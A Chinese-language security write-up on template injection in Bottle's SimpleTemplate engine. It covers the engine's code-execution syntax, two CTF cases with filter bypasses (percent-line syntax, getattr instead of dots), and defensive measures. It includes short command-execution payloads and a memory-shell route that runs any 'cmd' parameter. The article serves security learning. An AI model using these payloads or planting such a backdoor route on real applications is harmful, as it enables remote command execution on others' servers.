Bottle框架的模板引擎安全问题分析
字数 1575 2025-08-29 08:29:58
Bottle框架模板引擎安全分析与利用
1. Bottle框架概述
Bottle是一个轻量级的Python Web单文件框架,具有以下特点:
- 单文件框架,仅包含一个.py文件
- 零依赖,适合小型Web应用和嵌入式系统开发
- 提供路由、模板、请求处理等基本功能
- 自带WSGI服务器,也支持Gunicorn、Paste等服务器
- 内置SimpleTemplate模板引擎(stpl),支持Jinja2、Mako等第三方模板引擎
优点:
- 轻量级,零依赖
- API设计简洁,适合快速开发小型Web应用或API
- 自带模板引擎和WSGI服务器
缺点:
- 功能有限
- 性能一般
2. SimpleTemplate模板引擎安全分析
2.1 模板渲染流程
Bottle的template()函数负责解析并渲染模板,支持三种形式的模板输入:
- 模板名称(文件路径)
- 模板字符串
- 模板对象(SimpleTemplate实例)
执行流程:
- 解析并合并args参数
- 选择模板适配器(默认SimpleTemplate)
- 生成模板缓存ID
- 解析并缓存模板
- 处理错误
- 渲染模板
2.2 SimpleTemplate语法
SimpleTemplate支持以下语法特性:
- 变量插入:
{{variable}} - 逻辑控制:条件、循环
- 代码执行:通过特殊语法执行Python代码
- 过滤器和函数
2.3 代码执行方式
Bottle模板引擎提供了多种代码执行方式:
-
花括号语法:
{{expression}}:执行单行表达式{{!expression}}:执行单行表达式
-
百分号语法:
% python_code:必须在新行开头,前面只能有空白字符- 块级代码:
<% multi_line python_code %>
-
直接执行:
% __import__('os').system('calc')
3. 安全漏洞利用
3.1 模板注入(SSTI)
当用户输入未经适当处理直接插入模板时,可能导致代码执行:
# 危险示例
message = request.GET.get('message', '')
return template('message', message=message)
利用方式:
- 使用
{{}}或%语法注入恶意代码 - 绕过过滤技术(如花括号过滤)
3.2 内存马注入
通过动态添加路由实现持久化后门:
# 获取app对象后注入恶意路由
app.route('/malicious', method='GET')(lambda: __import__('os').system(request.GET.get('cmd')))
实现步骤:
- 获取Bottle应用实例
- 使用
route装饰器添加新路由 - 绑定恶意回调函数(常使用lambda)
3.3 实际案例
案例1:GHCTF2025_Message in a bottle
漏洞分析:
- 提交message时先经过WAF过滤
{和} - 使用
join()方法合并HTML片段 - 直接渲染用户输入导致SSTI
绕过方法:
- 使用
%语法代替花括号 - 示例payload:
% __import__('os').system('calc')
案例2:NCTF2025_ezdash
漏洞分析:
- 模板渲染时过滤不严
- 可直接传入代码执行
绕过点号过滤:
- 使用
getattr()代替点号访问属性 - 示例payload:
% getattr(__import__('os'), 'system')('sleep 5')
4. 防御措施
-
输入验证与过滤:
- 对所有用户输入进行严格验证
- 过滤或转义特殊字符(
{,},%,<,>等)
-
安全模板使用:
- 避免直接渲染用户输入
- 使用安全的模板变量传递方式
-
最小权限原则:
- 限制模板执行环境权限
- 使用沙箱环境运行模板引擎
-
禁用危险功能:
- 在不需要时禁用模板中的代码执行功能
- 使用更安全的模板引擎(如Jinja2)并配置安全选项
5. 总结
Bottle框架的SimpleTemplate模板引擎因其灵活的代码执行能力,在不当使用时可能带来严重的安全风险。开发者应当:
- 充分了解模板引擎的工作原理和安全特性
- 避免直接将用户输入插入模板
- 实施严格的输入验证和输出编码
- 定期进行安全审计和代码审查
安全研究人员在测试时应关注:
- 模板注入的各种语法变体
- 过滤绕过技术
- 持久化攻击向量(如内存马)